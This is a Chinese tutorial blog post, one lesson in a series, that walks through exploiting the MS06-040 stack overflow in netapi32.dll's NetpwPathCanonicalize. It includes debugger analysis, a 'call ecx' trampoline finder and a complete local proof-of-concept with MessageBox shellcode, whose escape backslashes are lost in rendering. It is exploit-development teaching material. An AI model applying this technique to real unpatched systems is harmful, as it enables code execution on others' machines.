zoukankan      html  css  js  c++  java
  • 缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试

    前言

            经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。

     

    编写漏洞利用程序的框架

            这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下:

    1. #include <windows.h>  
    2. typedef void (*MYPROC)(LPTSTR, ...);  
    3.   
    4. int main()  
    5. {  
    6.         char Str[0x320];  
    7.     char lpWideCharStr[0x440];  
    8.     int  arg_8 = 0x440;  
    9.     char Source[0x100];  
    10.     long arg_10 = 44;  
    11.       
    12.     HINSTANCE LibHandle;  
    13.     MYPROC Func;  
    14.     char DllName[] = "./netapi32.dll";  
    15.       
    16.     LibHandle = LoadLibrary(DllName);  
    17.     if( LibHandle == NULL)  
    18.     {  
    19.         MessageBox(0, "Can't Load DLL!""Warning", 0);  
    20.         FreeLibrary(LibHandle);  
    21.     }  
    22.       
    23.     Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");  
    24.     if ( Func == NULL )  
    25.     {  
    26.         MessageBox(0, "Can't Load Function Address!""Warning", 0);  
    27.         FreeLibrary(LibHandle);  
    28.     }  
    29.   
    30.         memset(Str, 0, sizeof(Str));  
    31.     memset(Str, 'a'sizeof(Str)-2);  
    32.     memset(Source, 0, sizeof(Source));  
    33.     memset(Source, 'b'sizeof(Source)-2);  
    34.   
    35.     (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);  
    36.   
    37.         FreeLibrary(LibHandle);  
    38.     return 0;  
    39. }  
            程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址,再获取位于该DLL中的NetpwPathCanonicalize()函数的地址,并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充,最后再对其进行调用。将程序编译执行,系统会提示出错:


    图1

            由错误代码可知,程序出现了缓冲区溢出的错误,返回地址被覆盖成了0x61616161,也就是四个“a”。

     

    动态调试漏洞

            我们使用OD载入上述程序,同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数:


    图2

            可见此时netapi32.dll已经成功加载,并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址:


    图3

            可见该函数的地址为0x7517F2E2,那么我们在OD中直接跳到这个位置,下断点并执行过来:


    图4

            结合上次的分析我们知道,出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68:


    图5

            那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况:


    图6

            由上图可知,返回地址为0x0012F670的位置,也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数:


    图7

            可以看到,程序在位于0x0012F258位置处开始,一共拷贝了254也就是0xFE个字母“b”,这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“”,接着来到了第二个字符串拷贝的位置:


    图8

            这里将长串字符“a”连接在了“”的后面,“a”的起始地址为0x0012F358,一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置,由于返回地址是一个不可识别的空间,所以就会提示出错:


    图9

            此时可以发现,ecx中保存的正是缓冲区起始位置的地址,那么我们就可以利用这一特性,将ShellCode植入Source串中,并将返回地址覆盖为call ecx,这样当程序返回的时候,就会直接来到0x0012F258的位置进行执行。

     

    获取CALL ECX地址

            我们还需要查找一下call ecx这条指令。它的OPCODE为FFD1,我们直接在Netapi32.dll这个程序中进行查找,只需将我们之前讲过的用于查找call esp的程序稍作改动即可:

    1. #include <windows.h>  
    2. #include <stdio.h>  
    3. #include <stdlib.h>  
    4. #define DLL_NAME "./netapi32.dll"  
    5.   
    6. int main()  
    7. {  
    8.         BYTE *ptr;  
    9.         int position,address;  
    10.         HINSTANCE handle;  
    11.         BOOL done_flag = FALSE;  
    12.         handle = LoadLibrary(DLL_NAME);  
    13.         if(!handle)  
    14.         {  
    15.                 printf("load dll error!");  
    16.                 exit(0);  
    17.         }  
    18.         ptr = (BYTE*)handle;  
    19.   
    20.         for(position = 0; !done_flag; position++)  
    21.         {  
    22.                 try  
    23.                 {  
    24.                         if(ptr[position]==0xFF && ptr[position+1]==0xD1)  
    25.                         {  
    26.                                 int address = (int)ptr + position;  
    27.                                 printf("OPCODE found at 0x%x ", address);  
    28.                         }  
    29.                 }  
    30.                 catch(...)  
    31.                 {  
    32.                         int address = (int)ptr + position;  
    33.                         printf("END OF 0x%x ", address);  
    34.                         done_flag = true;  
    35.                 }  
    36.         }  
    37.         getchar();  
    38.         return 0;  
    39. }  
            结果如下:


    图10

            依据上图,这里我选择的是第一个结果,也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是,这里的返回地址为0x0012F670,缓冲区的开始位置是0x0012F258,它们之间的偏移为0x418,去掉参数Source以及“”所占据的0x100,得到0x418-0x100=0x318,也就是说,从Str字符串的偏移0x318位置开始,就是需要我们覆盖掉的返回地址的位置。

     

    完成漏洞利用程序

            于是可以将之前的框架程序修改为:

    1. #include <windows.h>  
    2. typedef void (*MYPROC)(LPTSTR, ...);  
    3.   
    4. char ShellCode[] =   
    5.               "x33xDB"                          // xor ebx,ebx  
    6.               "xB7x06"                          // mov bh,6  
    7.               "x2BxE3"                          // sub esp,ebx  
    8.               "x33xDB"                          // xor ebx,ebx  
    9.               "x53"                              // push ebx  
    10.               "x68x69x6Ex67x20"  
    11.               "x68x57x61x72x6E"              // push "Warning"  
    12.               "x8BxC4"                          // mov eax,esp  
    13.               "x53"                              // push ebx  
    14.               "x68x2Ex29x20x20"  
    15.               "x68x20x4Ax2Ex59"  
    16.               "x68x21x28x62x79"  
    17.               "x68x63x6Bx65x64"  
    18.               "x68x6Ex20x68x61"  
    19.               "x68x20x62x65x65"  
    20.               "x68x68x61x76x65"  
    21.               "x68x59x6Fx75x20"   // push "You have been hacked!(by J.Y.)"  
    22.               "x8BxCC"                           // mov ecx,esp  
    23.               "x53"                               // push ebx  
    24.               "x50"                               // push eax  
    25.               "x51"                               // push ecx  
    26.               "x53"                               // push ebx  
    27.               "xB8xeax07xd5x77"                 
    28.               "xFFxD0"                           // call MessageBox  
    29.                           "x53"  
    30.                           "xB8xFAxCAx81x7C"  
    31.                           "xFFxD0" ;                          // call ExitProcess             
    32.   
    33. int main()  
    34. {  
    35.         char Str[0x320];  
    36.     char lpWideCharStr[0x440];  
    37.     int  arg_8 = 0x440;  
    38.     char Source[0x100];  
    39.     long arg_10 = 44;  
    40.       
    41.     HINSTANCE LibHandle;  
    42.     MYPROC Func;  
    43.     char DllName[] = "./netapi32.dll";  
    44.   
    45.     LoadLibrary("user32.dll");  
    46.       
    47.     LibHandle = LoadLibrary(DllName);  
    48.     if( LibHandle == NULL)  
    49.     {  
    50.         MessageBox(0, "Can't Load DLL!""Warning", 0);  
    51.         FreeLibrary(LibHandle);  
    52.     }  
    53.       
    54.     Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");  
    55.     if ( Func == NULL )  
    56.     {  
    57.         MessageBox(0, "Can't Load Function Address!""Warning", 0);  
    58.         FreeLibrary(LibHandle);  
    59.     }  
    60.   
    61.         memset(Str, 0, sizeof(Str));  
    62.     memset(Str, 'a'sizeof(Str)-2);  
    63.     memset(Source, 0, sizeof(Source));  
    64.     memset(Source, 'b'sizeof(Source)-2);  
    65.     memcpy(Source, ShellCode, sizeof(ShellCode));  
    66.   
    67.     Str[0x318] = 0xF9;  
    68.     Str[0x319] = 0x52;  
    69.     Str[0x31A] = 0x18;  
    70.     Str[0x31B] = 0x75;  
    71.   
    72.     (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);  
    73.   
    74.         FreeLibrary(LibHandle);  
    75.     return 0;  
    76. }  
            运行结果如下:


    图11

            可见我们已经成功地利用了这个漏洞。

     

    小结

            由此可见,对于系统级别的漏洞,及时更新补丁是非常重要的。而作为漏洞分析人员,也要具备恒心与毅力,不断地积累经验,勇于接受挑战,多多尝试,才能有所收获。
  • 相关阅读:
    Java RunTime Environment (JRE) or Java Development Kit (JDK) must be available in order to run Eclipse. ......
    UVA 1597 Searching the Web
    UVA 1596 Bug Hunt
    UVA 230 Borrowers
    UVA 221 Urban Elevations
    UVA 814 The Letter Carrier's Rounds
    UVA 207 PGA Tour Prize Money
    UVA 1592 Database
    UVA 540 Team Queue
    UVA 12096 The SetStack Computer
  • 原文地址:https://www.cnblogs.com/csnd/p/11785763.html
Copyright © 2011-2022 走看看